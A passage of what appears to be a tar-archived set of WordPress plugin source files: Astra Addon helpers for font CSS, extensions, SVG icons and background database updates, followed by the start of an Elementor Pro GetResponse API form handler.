$gen_spacing_css[ $property ] = esc_attr( $spacing_obj[ $property ] ) . 'px'; } return $gen_spacing_css; } /** * Check whether blogs post structure title & meta is disabled or not. * * @since 4.0.0 * @return bool True if blogs post structure title & meta is disabled else false. */ function astra_addon_is_blog_title_meta_disabled() { $blog_title_meta = astra_get_option( 'blog-post-structure' ); if ( is_array( $blog_title_meta ) && ! in_array( 'title-meta', $blog_title_meta ) ) { return true; } return false; } /** * Function which will return CSS for font-extras control. * It includes - line-height, letter-spacing, text-decoration, font-style. * * @param array $config contains extra font settings. * @param string $setting basis on this setting will return. * @param mixed $unit Unit. * * @since 4.0.0 */ function astra_addon_get_font_extras( $config, $setting, $unit = false ) { $css = isset( $config[ $setting ] ) ? $config[ $setting ] : ''; if ( $unit && $css ) { $unit_val = isset( $config[ $unit ] ) ? $config[ $unit ] : ''; $unit_val = 'line-height-unit' === $unit ? apply_filters( 'astra_font_line_height_unit', $unit_val ) : $unit_val; $css .= $unit_val; } return $css; } /** * Function which will return CSS array for font specific props for further parsing CSS. * It includes - font-family, font-weight, font-size, line-height, text-transform, letter-spacing, text-decoration, color (optional). * * @param string $font_family Font family. * @param string $font_weight Font weight. * @param array $font_size Font size. * @param string $font_extras contains all font controls. * @param string $color In most of cases color is also added, so included optional param here. * * @return array * * @since 4.0.0 */ function astra_addon_get_font_array_css( $font_family, $font_weight, $font_size, $font_extras, $color = '' ) { $font_extras_ast_option = astra_get_option( $font_extras ); return array( 'color' => esc_attr( $color ), 'font-family' => astra_get_css_value( $font_family, 'font' ), 'font-weight' => astra_get_css_value( $font_weight, 'font' ), 'font-size' => ! empty( $font_size ) ? astra_responsive_font( $font_size, 'desktop' ) : '', 'line-height' => astra_addon_get_font_extras( $font_extras_ast_option, 'line-height', 'line-height-unit' ), 'text-transform' => astra_addon_get_font_extras( $font_extras_ast_option, 'text-transform' ), 'letter-spacing' => astra_addon_get_font_extras( $font_extras_ast_option, 'letter-spacing', 'letter-spacing-unit' ), 'text-decoration' => astra_addon_get_font_extras( $font_extras_ast_option, 'text-decoration' ), ); } class-astra-ext-extension.php 0000666 00000006645 15165730731 0012331 0 ustar 00 <?php /** * Astra Extension Class * * @package Astra Addon */ /** * Provide Extension related data. * * @since 1.0 */ // @codingStandardsIgnoreStart final class Astra_Ext_Extension { // @codingStandardsIgnoreEnd /** * Default Extensions * * @since 1.4.8 * @return array */ public static function get_default_addons() { return apply_filters( 'astra_addon_ext_default_addons', array( 'advanced-search' => 'advanced-search', ) ); } /** * Provide Extension array(). * * @return array() * @since 1.0 */ public static function get_addons() { $extensions = array( 'advanced-hooks' => array(), 'blog-pro' => array(), 'colors-and-background' => array(), 'advanced-footer' => array(), 'mobile-header' => array(), 'header-sections' => array(), 'lifterlms' => array(), 'learndash' => array(), 'advanced-headers' => array(), 'site-layouts' => array(), 'spacing' => array(), 'sticky-header' => array(), 'transparent-header' => array(), 'typography' => array(), 'woocommerce' => array(), 'edd' => array(), 'nav-menu' => array(), ); return apply_filters( 'astra_addon_get_addons', $extensions ); } /** * Provide Enable Extension array(). * * @return array() * @since 1.0 */ public static function get_enabled_addons() { $enabled_data = array(); $extensions = self::get_addons(); $enabled_extensions = Astra_Admin_Helper::get_admin_settings_option( '_astra_ext_enabled_extensions' ); if ( empty( $enabled_extensions ) ) { foreach ( $extensions as $slug => $data ) { $enabled_data[ $slug ] = ( isset( $data['default'] ) ) ? $data['default'] : false; } $enabled_data['all'] = 'all'; } else { $enabled_data = $enabled_extensions; if ( isset( $enabled_extensions['all'] ) && false != $enabled_extensions['all'] ) { // add new key. foreach ( $extensions as $slug => $data ) { if ( ! array_key_exists( $slug, $enabled_extensions ) ) { $enabled_data[ $slug ] = ( isset( $data['default'] ) ) ? $data['default'] : false; } } } } return apply_filters( 'astra_addon_enabled_extensions', $enabled_data ); } /** * Check extension status * * @param string $key Key to find in Extensions Array. * @param boolean $default Default if Key not exist in Extensions Array. * @return boolean * @since 1.0 */ public static function is_active( $key, $default = false ) { $extensions = array_merge( self::get_enabled_addons(), self::get_default_addons() ); if ( array_key_exists( $key, $extensions ) && $extensions[ $key ] ) { return true; } else { return $default; } } /** * Provide Custom 404 array(). * * @return array() * @since 1.0 */ public static function get_custom_404() { $custom_404_default = array( 'enable_404' => false, 'page_404' => '', 'page_404_id' => '', ); $custom_404 = Astra_Admin_Helper::get_admin_settings_option( '_astra_ext_custom_404' ); if ( empty( $custom_404 ) ) { $custom_404 = $custom_404_default; } $custom_404 = apply_filters( 'astra_addon_custom_404_options', $custom_404_default ); return $custom_404; } } class-astra-icons.php 0000666 00000031075 15165730731 0010625 0 ustar 00 <?php /** * Icons for Astra Addon. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra Addon 3.3.0 */ if ( ! class_exists( 'Astra_Icons' ) ) { /** * Icons Initial Setup * * @since 3.3.0 */ // @codingStandardsIgnoreStart class Astra_Icons { // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // Remove astra.woff and other format of Astra font files when SVG is enabled. if ( self::is_svg_icons() ) { add_filter( 'astra_enable_default_fonts', '__return_false' ); } } /** * Check if we need to load icons as SVG or fonts. * Returns true if SVG false if font. * * @since 3.3.0 * * @return boolean should be svg or font. */ public static function is_svg_icons() { $astra_settings = get_option( ASTRA_THEME_SETTINGS ); $astra_settings['can-update-astra-icons-svg'] = ( isset( $astra_settings['can-update-astra-icons-svg'] ) && false === $astra_settings['can-update-astra-icons-svg'] ) ? false : true; if ( version_compare( ASTRA_THEME_VERSION, '3.3.0', '>=' ) ) { return apply_filters( 'astra_is_svg_icons', $astra_settings['can-update-astra-icons-svg'] ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } return false; } /** * Get SVG icons. * Returns the SVG icon you want to display. * * @since 3.3.0 * * @param string $icon Key for the SVG you want to load. * @param boolean $is_echo whether to echo the output or return. * @param boolean $replace load close markup for SVG. * @param string $menu_location Creates dynamic filter for passed parameter. * * @return string SVG for passed key. */ public static function get_icons( $icon, $is_echo = false, $replace = false, $menu_location = 'main' ) { $output = ''; if ( true === self::is_svg_icons() ) { switch ( $icon ) { case 'menu-bars': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="20px" height="20px" viewBox="57 41.229 26 18.806" enable-background="new 57 41.229 26 18.806" xml:space="preserve"> <path d="M82.5,41.724h-25v3.448h25V41.724z M57.5,48.907h25v3.448h-25V48.907z M82.5,56.092h-25v3.448h25V56.092z"/> </svg>'; break; case 'close': $output = '<svg viewBox="0 0 512 512" aria-hidden="true" role="img" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="18px" height="18px"> <path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /> </svg>'; break; case 'search': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" viewBox="-888 480 142 142" enable-background="new -888 480 142 142" xml:space="preserve"> <path d="M-787.4,568.7h-6.3l-2.4-2.4c7.9-8.7,12.6-20.5,12.6-33.1c0-28.4-22.9-51.3-51.3-51.3 c-28.4,0-51.3,22.9-51.3,51.3c0,28.4,22.9,51.3,51.3,51.3c12.6,0,24.4-4.7,33.1-12.6l2.4,2.4v6.3l39.4,39.4l11.8-11.8L-787.4,568.7 L-787.4,568.7z M-834.7,568.7c-19.7,0-35.5-15.8-35.5-35.5c0-19.7,15.8-35.5,35.5-35.5c19.7,0,35.5,15.8,35.5,35.5 C-799.3,553-815,568.7-834.7,568.7L-834.7,568.7z"/> </svg>'; break; case 'arrow': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="26px" height="16.043px" viewBox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve"> <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z"/> </svg>'; break; case 'cart': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="20px" height="20px" viewBox="826 837.5 140 121" enable-background="new 826 837.5 140 121" xml:space="preserve"> <path d="M878.77,943.611c0,2.75-1.005,5.131-3.015,7.141c-2.009,2.01-4.389,3.014-7.139,3.014c-2.75,0-5.13-1.004-7.139-3.014 c-2.01-2.01-3.015-4.391-3.015-7.141c0-2.749,1.005-5.129,3.015-7.138c2.009-2.011,4.389-3.016,7.139-3.016 c2.75,0,5.13,1.005,7.139,3.016C877.765,938.482,878.77,940.862,878.77,943.611z M949.846,943.611c0,2.75-1.005,5.131-3.015,7.141 s-4.39,3.014-7.141,3.014c-2.748,0-5.129-1.004-7.138-3.014c-2.01-2.01-3.015-4.391-3.015-7.141c0-2.749,1.005-5.129,3.015-7.138 c2.009-2.011,4.39-3.016,7.138-3.016c2.751,0,5.131,1.005,7.141,3.016C948.841,938.482,949.846,940.862,949.846,943.611z M960,857.306v40.615c0,1.27-0.438,2.393-1.311,3.371s-1.943,1.548-3.212,1.705l-82.815,9.678c0.687,3.174,1.031,5.024,1.031,5.554 c0,0.846-0.635,2.539-1.904,5.076h72.979c1.375,0,2.564,0.503,3.569,1.508c1.006,1.005,1.508,2.194,1.508,3.569 c0,1.376-0.502,2.564-1.508,3.569c-1.005,1.005-2.194,1.507-3.569,1.507H863.54c-1.375,0-2.565-0.502-3.57-1.507 s-1.507-2.193-1.507-3.569c0-0.581,0.212-1.415,0.634-2.498c0.424-1.085,0.847-2.036,1.27-2.855c0.423-0.82,0.992-1.878,1.706-3.174 s1.124-2.076,1.23-2.34l-14.041-65.285h-16.183c-1.375,0-2.564-0.502-3.569-1.507c-1.005-1.005-1.508-2.195-1.508-3.57 c0-1.375,0.502-2.565,1.508-3.57c1.004-1.004,2.194-1.507,3.569-1.507h20.308c0.846,0,1.6,0.172,2.261,0.516 s1.177,0.754,1.547,1.229c0.37,0.476,0.714,1.124,1.032,1.944c0.316,0.819,0.528,1.507,0.634,2.062 c0.106,0.556,0.252,1.336,0.437,2.34c0.185,1.005,0.304,1.692,0.357,2.063h95.271c1.375,0,2.563,0.502,3.57,1.507 C959.497,854.741,960,855.931,960,857.306z"/> </svg>'; break; case 'bag': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="100" height="100" viewBox="826 826 140 140" enable-background="new 826 826 140 140" xml:space="preserve"> <path d="M960.758,934.509l2.632,23.541c0.15,1.403-0.25,2.657-1.203,3.761c-0.953,1.053-2.156,1.579-3.61,1.579H833.424 c-1.454,0-2.657-0.526-3.61-1.579c-0.952-1.104-1.354-2.357-1.203-3.761l2.632-23.541H960.758z M953.763,871.405l6.468,58.29H831.77 l6.468-58.29c0.15-1.203,0.677-2.218,1.58-3.045c0.903-0.827,1.981-1.241,3.234-1.241h19.254v9.627c0,2.658,0.94,4.927,2.82,6.807 s4.149,2.82,6.807,2.82c2.658,0,4.926-0.94,6.807-2.82s2.821-4.149,2.821-6.807v-9.627h28.882v9.627 c0,2.658,0.939,4.927,2.819,6.807c1.881,1.88,4.149,2.82,6.807,2.82s4.927-0.94,6.808-2.82c1.879-1.88,2.82-4.149,2.82-6.807v-9.627 h19.253c1.255,0,2.332,0.414,3.235,1.241C953.086,869.187,953.612,870.202,953.763,871.405z M924.881,857.492v19.254 c0,1.304-0.476,2.432-1.429,3.385s-2.08,1.429-3.385,1.429c-1.303,0-2.432-0.477-3.384-1.429c-0.953-0.953-1.43-2.081-1.43-3.385 v-19.254c0-5.315-1.881-9.853-5.641-13.613c-3.76-3.761-8.298-5.641-13.613-5.641s-9.853,1.88-13.613,5.641 c-3.761,3.76-5.641,8.298-5.641,13.613v19.254c0,1.304-0.476,2.432-1.429,3.385c-0.953,0.953-2.081,1.429-3.385,1.429 c-1.303,0-2.432-0.477-3.384-1.429c-0.953-0.953-1.429-2.081-1.429-3.385v-19.254c0-7.973,2.821-14.779,8.461-20.42 c5.641-5.641,12.448-8.461,20.42-8.461c7.973,0,14.779,2.82,20.42,8.461C922.062,842.712,924.881,849.519,924.881,857.492z"/> </svg>'; break; case 'basket': $output = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="100" height="100" viewBox="826 826 140 140" enable-background="new 826 826 140 140" xml:space="preserve"> <path d="M955.418,887.512c2.344,0,4.343,0.829,6.002,2.486c1.657,1.659,2.486,3.659,2.486,6.002c0,2.343-0.829,4.344-2.486,6.001 c-1.659,1.658-3.658,2.487-6.002,2.487h-0.994l-7.627,43.9c-0.354,2.033-1.326,3.713-2.917,5.04 c-1.593,1.326-3.405,1.989-5.438,1.989h-84.883c-2.033,0-3.846-0.663-5.438-1.989c-1.591-1.327-2.564-3.007-2.918-5.04l-7.626-43.9 h-0.995c-2.343,0-4.344-0.829-6.001-2.487c-1.658-1.657-2.487-3.658-2.487-6.001c0-2.343,0.829-4.343,2.487-6.002 c1.658-1.658,3.659-2.486,6.001-2.486H955.418z M860.256,940.563c1.149-0.089,2.111-0.585,2.885-1.491 c0.773-0.907,1.116-1.936,1.028-3.085l-2.122-27.586c-0.088-1.15-0.585-2.111-1.492-2.885c-0.906-0.774-1.934-1.117-3.083-1.028 c-1.149,0.088-2.111,0.586-2.885,1.492s-1.116,1.934-1.028,3.083l2.122,27.587c0.088,1.105,0.542,2.034,1.359,2.785 c0.818,0.752,1.78,1.128,2.885,1.128H860.256z M887.512,936.319v-27.587c0-1.149-0.42-2.144-1.26-2.984 c-0.84-0.84-1.834-1.26-2.984-1.26s-2.144,0.42-2.984,1.26c-0.84,0.841-1.26,1.835-1.26,2.984v27.587c0,1.149,0.42,2.145,1.26,2.984 c0.84,0.84,1.835,1.26,2.984,1.26s2.144-0.42,2.984-1.26C887.092,938.464,887.512,937.469,887.512,936.319z M912.977,936.319 v-27.587c0-1.149-0.42-2.144-1.26-2.984c-0.841-0.84-1.835-1.26-2.984-1.26s-2.145,0.42-2.984,1.26 c-0.84,0.841-1.26,1.835-1.26,2.984v27.587c0,1.149,0.42,2.145,1.26,2.984s1.835,1.26,2.984,1.26s2.144-0.42,2.984-1.26 C912.557,938.464,912.977,937.469,912.977,936.319z M936.319,936.65l2.122-27.587c0.088-1.149-0.254-2.177-1.027-3.083 s-1.735-1.404-2.885-1.492c-1.15-0.089-2.178,0.254-3.084,1.028c-0.906,0.773-1.404,1.734-1.492,2.885l-2.122,27.586 c-0.088,1.149,0.254,2.178,1.027,3.085c0.774,0.906,1.736,1.402,2.885,1.491h0.332c1.105,0,2.066-0.376,2.885-1.128 C935.777,938.685,936.23,937.756,936.319,936.65z M859.66,855.946l-6.167,27.322h-8.753l6.698-29.245 c0.84-3.89,2.807-7.062,5.902-9.516c3.095-2.453,6.632-3.68,10.611-3.68h11.074c0-1.149,0.42-2.144,1.26-2.984 c0.84-0.84,1.835-1.26,2.984-1.26h25.465c1.149,0,2.144,0.42,2.984,1.26c0.84,0.84,1.26,1.834,1.26,2.984h11.074 c3.979,0,7.516,1.227,10.611,3.68c3.094,2.454,5.062,5.626,5.901,9.516l6.697,29.245h-8.753l-6.168-27.322 c-0.486-1.945-1.491-3.537-3.017-4.774c-1.525-1.238-3.282-1.857-5.272-1.857h-11.074c0,1.15-0.42,2.144-1.26,2.984 c-0.841,0.84-1.835,1.26-2.984,1.26h-25.465c-1.149,0-2.144-0.42-2.984-1.26c-0.84-0.84-1.26-1.834-1.26-2.984h-11.074 c-1.99,0-3.747,0.619-5.272,1.857C861.152,852.409,860.146,854,859.66,855.946z"/> </svg>'; break; default: $output = ''; break; } if ( $replace ) { $output .= '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="18px" height="18px" viewBox="-63 -63 140 140" enable-background="new -63 -63 140 140" xml:space="preserve"> <path d="M75.133-47.507L61.502-61.133L7-6.625l-54.507-54.507l-13.625,13.625L-6.625,7l-54.507,54.503l13.625,13.63 L7,20.631l54.502,54.502l13.631-13.63L20.63,7L75.133-47.507z"/></svg>'; } } else { if ( 'menu-bars' === $icon ) { $menu_icon = apply_filters( 'astra_' . $menu_location . '_menu_toggle_icon', 'menu-toggle-icon' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $output = '<span class="' . esc_attr( $menu_icon ) . '"></span>'; } } $output = apply_filters( 'astra_svg_icon_element', $output, $icon ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $classes = array( 'ast-icon', 'icon-' . $icon, ); $output = apply_filters( 'astra_svg_icon', // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound sprintf( '<span class="%1$s">%2$s</span>', implode( ' ', $classes ), $output ), $icon ); if ( ! $is_echo ) { return $output; } echo wp_kses( $output, array( 'span' => array( 'class' => array() ), 'svg' => array( 'xmlns:xlink' => array(), 'version' => array(), 'id' => array(), 'x' => array(), 'y' => array(), 'enable-background' => array(), 'xml:space' => array(), 'class' => array(), 'aria-hidden' => array(), 'aria-labelledby' => array(), 'role' => array(), 'xmlns' => array(), 'width' => array(), 'height' => array(), 'viewbox' => array(), ), 'g' => array( 'fill' => array() ), 'title' => array( 'title' => array() ), 'path' => array( 'd' => array(), 'fill' => array(), ), ) ); } } new Astra_Icons(); } class-astra-addon-background-updater.php 0000666 00000030571 15165730731 0014356 0 ustar 00 <?php /** * Astra Addon Batch Update * * @package Astra Addon * @since 2.1.3 */ if ( ! class_exists( 'Astra_Addon_Background_Updater' ) ) { /** * Astra_Addon_Background_Updater Class. */ class Astra_Addon_Background_Updater { /** * Background update class. * * @var object */ private static $background_updater; /** * DB updates and callbacks that need to be run per version. * * @var array */ private static $db_updates = array( '2.2.0' => array( 'astra_addon_page_builder_button_color_compatibility', ), '2.3.0' => array( 'astra_addon_page_header_parallax_device', ), '2.3.3' => array( 'astra_addon_css_gen_multi_site_fix', ), '2.4.0' => array( 'astra_responsive_content_background_option', 'astra_addon_update_theme_tablet_breakpoint', ), '2.5.0' => array( 'custom_layout_compatibility_having_code_posts', 'astra_addon_page_header_submenu_color_options', ), '2.6.0' => array( 'astra_addon_header_css_optimizations', ), '3.5.0' => array( 'astra_addon_page_headers_support_to_builder_layout', ), '3.5.1' => array( 'astra_addon_headings_font_support', 'astra_addon_cart_color_not_working_in_old_header', ), '3.5.7' => array( 'astra_addon_outline_cart_bg_color_support', 'astra_addon_remove_header_sections_deps_new_builder', 'astra_addon_swap_section_not_working_in_old_header', ), '3.5.8' => array( 'astra_sticky_header_site_title_tagline_css', ), '3.5.9' => array( 'astra_addon_remove_responsive_account_menu_colors_support', ), '3.9.0' => array( 'astra_addon_responsive_shop_button_padding', 'astra_addon_shop_box_shadow_migration', 'astra_addon_update_product_gallery_layout', 'astra_addon_update_woocommerce_cart_icons', 'astra_addon_update_toolbar_seperations', 'astra_addon_apply_modern_ecommerce_setup', ), '3.9.3' => array( 'astra_addon_update_variant_active_state', ), '4.0.0' => array( 'astra_addon_background_updater_4_0_0', ), '4.1.0' => array( 'astra_addon_background_updater_4_1_0', ), '4.1.6' => array( 'astra_addon_background_updater_4_1_6', ), ); /** * Constructor */ public function __construct() { // Addon Updates. if ( is_admin() ) { add_action( 'admin_init', array( $this, 'install_actions' ) ); } else { add_action( 'wp', array( $this, 'install_actions' ) ); } // Core Helpers - Batch Processing. require_once ASTRA_EXT_DIR . 'classes/library/batch-processing/wp-async-request.php'; require_once ASTRA_EXT_DIR . 'classes/library/batch-processing/wp-background-process.php'; require_once ASTRA_EXT_DIR . 'classes/library/batch-processing/class-wp-background-process-astra-addon.php'; self::$background_updater = new WP_Background_Process_Astra_Addon(); } /** * Check if database is migrated * * @since 2.3.2 * * @return true If the database migration should not be run through CRON. */ public function check_if_data_migrated() { $fallback = false; $is_db_version_updated = $this->is_db_version_updated(); if ( ! $is_db_version_updated ) { $db_migrated = get_transient( 'astra-addon-db-migrated' ); if ( ! $db_migrated ) { $db_migrated = array(); } array_push( $db_migrated, $is_db_version_updated ); set_transient( 'astra-addon-db-migrated', $db_migrated, 3600 ); $db_migrate_count = count( $db_migrated ); if ( $db_migrate_count >= 5 ) { $customizer_options = get_option( 'astra-settings' ); // Get all customizer options. $version_array = array( 'is_astra_addon_queue_running' => false, ); // Merge customizer options with version. $astra_options = wp_parse_args( $version_array, $customizer_options ); update_option( 'astra-settings', $astra_options ); $fallback = true; } } return $fallback; } /** * Checks if astra addon version is updated in the database * * @since 2.3.2 * * @return true if astra addon version is updated. */ public function is_db_version_updated() { // Get auto saved version number. $saved_version = Astra_Addon_Update::astra_addon_stored_version(); return version_compare( $saved_version, ASTRA_EXT_VER, '=' ); } /** * Check Cron Status * * Gets the current cron status by performing a test spawn. Cached for one hour when all is well. * * @since 2.3.0 * * @return true if there is a problem spawning a call to Wp-Cron system. */ public function test_cron() { global $wp_version; if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) { return true; } if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { return true; } $cached_status = get_transient( 'astra-addon-cron-test-ok' ); if ( $cached_status ) { return false; } $sslverify = version_compare( $wp_version, 4.0, '<' ); $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); $cron_request = apply_filters( 'cron_request', // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound array( 'url' => site_url( 'wp-cron.php?doing_wp_cron=' . $doing_wp_cron ), 'args' => array( 'timeout' => 3, 'blocking' => true, 'sslverify' => apply_filters( 'https_local_ssl_verify', $sslverify ), // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound ), ) ); $result = wp_remote_post( $cron_request['url'], $cron_request['args'] ); if ( wp_remote_retrieve_response_code( $result ) >= 300 ) { return true; } else { set_transient( 'astra-addon-cron-test-ok', 1, 3600 ); return false; } return $migration_fallback; } /** * Install actions when a update button is clicked within the admin area. * * This function is hooked into admin_init to affect admin and wp to affect the frontend. * * @since 2.1.3 * @return void */ public function install_actions() { if ( true === $this->is_new_install() ) { self::update_db_version(); return; } $customizer_options = get_option( 'astra-settings' ); $fallback = $this->test_cron(); $db_migrated = $this->check_if_data_migrated(); $is_queue_running = ( isset( $customizer_options['is_astra_addon_queue_running'] ) && '' !== $customizer_options['is_astra_addon_queue_running'] ) ? $customizer_options['is_astra_addon_queue_running'] : false; $fallback = ( $db_migrated ) ? $db_migrated : $fallback; if ( $this->needs_db_update() && ! $is_queue_running ) { $this->update( $fallback ); } else { if ( ! $is_queue_running ) { self::update_db_version(); } } } /** * Is this a brand new addon install? * * @since 2.1.3 * @return boolean */ private function is_new_install() { // Get auto saved version number. $saved_version = Astra_Addon_Update::astra_addon_stored_version(); if ( false === $saved_version ) { return true; } else { return false; } } /** * Is a DB update needed? * * @since 2.1.3 * @return boolean */ private function needs_db_update() { $updates = $this->get_db_update_callbacks(); if ( empty( $updates ) ) { return false; } $customizer_options = get_option( 'astra-settings' ); $addon_auto_version = ( isset( $customizer_options['astra-addon-auto-version'] ) && '' !== $customizer_options['astra-addon-auto-version'] ) ? $customizer_options['astra-addon-auto-version'] : null; return ! is_null( $addon_auto_version ) && version_compare( $addon_auto_version, max( array_keys( $updates ) ), '<' ); } /** * Get list of DB update callbacks. * * @since 2.1.3 * @return array */ public function get_db_update_callbacks() { return self::$db_updates; } /** * Push all needed DB updates to the queue for processing. * * @param bool $fallback Fallback migration. */ private function update( $fallback ) { $current_db_version = Astra_Addon_Update::astra_addon_stored_version(); error_log( 'Astra Addon: Batch Process Started!' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log if ( count( $this->get_db_update_callbacks() ) > 0 ) { foreach ( $this->get_db_update_callbacks() as $version => $update_callbacks ) { if ( version_compare( $current_db_version, $version, '<' ) ) { foreach ( $update_callbacks as $update_callback ) { if ( $fallback ) { call_user_func( $update_callback ); } else { error_log( sprintf( 'Astra Addon: Queuing %s - %s', $version, $update_callback ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log self::$background_updater->push_to_queue( $update_callback ); } } } } if ( $fallback ) { error_log( 'Astra Addon: Running migration without batch processing.' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log self::update_db_version(); } else { $customizer_options = get_option( 'astra-settings' ); // Get all customizer options. $version_array = array( 'is_astra_addon_queue_running' => true, ); // Merge customizer options with version. $astra_options = wp_parse_args( $version_array, $customizer_options ); update_option( 'astra-settings', $astra_options ); self::$background_updater->push_to_queue( 'update_db_version' ); } } else { self::$background_updater->push_to_queue( 'update_db_version' ); } self::$background_updater->save()->dispatch(); } /** * Update DB version to current. * * @param string|null $version New Astra addon version or null. */ public static function update_db_version( $version = null ) { do_action( 'astra_addon_update_before' ); // Get auto saved version number. $saved_version = Astra_Addon_Update::astra_addon_stored_version(); $astra_addon_version = ASTRA_EXT_VER; if ( false === $saved_version ) { // Get all customizer options. $customizer_options = get_option( 'astra-settings' ); // Get all customizer options. /* Add Current version constant "ASTRA_EXT_VER" here after 1.0.0-rc.9 update */ $version_array = array( 'astra-addon-auto-version' => ASTRA_EXT_VER, ); $saved_version = ASTRA_EXT_VER; // Merge customizer options with version. $astra_options = wp_parse_args( $version_array, $customizer_options ); // Update auto saved version number. update_option( 'astra-settings', $astra_options ); } // If equals then return. if ( version_compare( $saved_version, ASTRA_EXT_VER, '=' ) ) { // Get all customizer options. $customizer_options = get_option( 'astra-settings' ); // Get all customizer options. $options_array = array( 'is_astra_addon_queue_running' => false, ); // Merge customizer options with version. $astra_options = wp_parse_args( $options_array, $customizer_options ); // Update auto saved version number. update_option( 'astra-settings', $astra_options ); return; } $astra_addon_version = ASTRA_EXT_VER; // Get all customizer options. $customizer_options = get_option( 'astra-settings' ); // Get all customizer options. $options_array = array( 'astra-addon-auto-version' => $astra_addon_version, 'is_astra_addon_queue_running' => false, ); // Merge customizer options with version. $astra_options = wp_parse_args( $options_array, $customizer_options ); // Update auto saved version number. update_option( 'astra-settings', $astra_options ); error_log( 'Astra Addon: DB version updated!' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log // Update variables. Astra_Theme_Options::refresh(); // Refresh Astra Addon CSS and JS Files on update. Astra_Minify::refresh_assets(); delete_transient( 'astra-addon-db-migrated' ); do_action( 'astra_addon_update_after' ); } } } /** * Kicking this off by creating a new instance */ new Astra_Addon_Background_Updater(); getresponse-handler.php 0000666 00000006037 15166133740 0011246 0 ustar 00 <?php namespace ElementorPro\Modules\Forms\Classes; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Getresponse_Handler { public $rest_client = null; private $api_key = ''; public function __construct( $api_key ) { if ( empty( $api_key ) ) { throw new \Exception( 'Invalid API key.' ); } $this->init_rest_client( $api_key ); if ( ! $this->is_valid_api_key() ) { throw new \Exception( 'Invalid API key.' ); } } private function init_rest_client( $api_key ) { $this->api_key = $api_key; $this->rest_client = new Rest_Client( 'https://api.getresponse.com/v3/' ); $this->rest_client->add_headers( [ 'X-Auth-Token' => 'api-key ' . $api_key, 'Content-Type' => 'application/json', ] ); } /** * validate api key * * @return bool * @throws \Exception */ private function is_valid_api_key() { $lists = $this->get_lists(); if ( ! empty( $lists ) ) { return true; } $this->api_key = ''; return false; } /** * get GetResponse lists associated with API key * @return array * @throws \Exception */ public function get_lists() { $results = $this->rest_client->get( 'campaigns' ); $lists = [ '' => esc_html__( 'Select...', 'elementor-pro' ), ]; if ( ! empty( $results['body'] ) ) { foreach ( $results['body'] as $index => $list ) { if ( ! is_array( $list ) ) { continue; } $lists[ $list['campaignId'] ] = $list['name']; } } $return_array = [ 'lists' => $lists, ]; return $return_array; } public function get_fields() { $results = $this->rest_client->get( 'custom-fields' ); $fields = [ [ 'remote_label' => esc_html__( 'Email', 'elementor-pro' ), 'remote_type' => 'email', 'remote_id' => 'email', 'remote_required' => true, ], [ 'remote_label' => esc_html__( 'Name', 'elementor-pro' ), 'remote_type' => 'text', 'remote_id' => 'name', 'remote_required' => false, ], ]; if ( ! empty( $results['body'] ) ) { foreach ( $results['body'] as $field ) { $fields[] = [ 'remote_label' => $field['name'], 'remote_type' => $this->normalize_type( $field['type'] ), 'remote_id' => $field['customFieldId'], 'remote_required' => false, ]; } } $return_array = [ 'fields' => $fields, ]; return $return_array; } private function normalize_type( $type ) { static $types = [ 'text' => 'text', 'number' => 'number', 'address' => 'text', 'phone' => 'text', 'date' => 'text', 'url' => 'url', 'imageurl' => 'url', 'radio' => 'radio', 'dropdown' => 'select', 'single_select' => 'select', 'textarea' => 'text', 'birthday' => 'text', 'zip' => 'text', 'country' => 'text', 'gender' => 'text', ]; return $types[ $type ]; } /** * create contact at GetResponse via api * * @param array $subscriber_data * * @return array|mixed * @throws \Exception */ public function create_subscriber( $subscriber_data = [] ) { return $this->rest_client->request( 'POST', 'contacts', 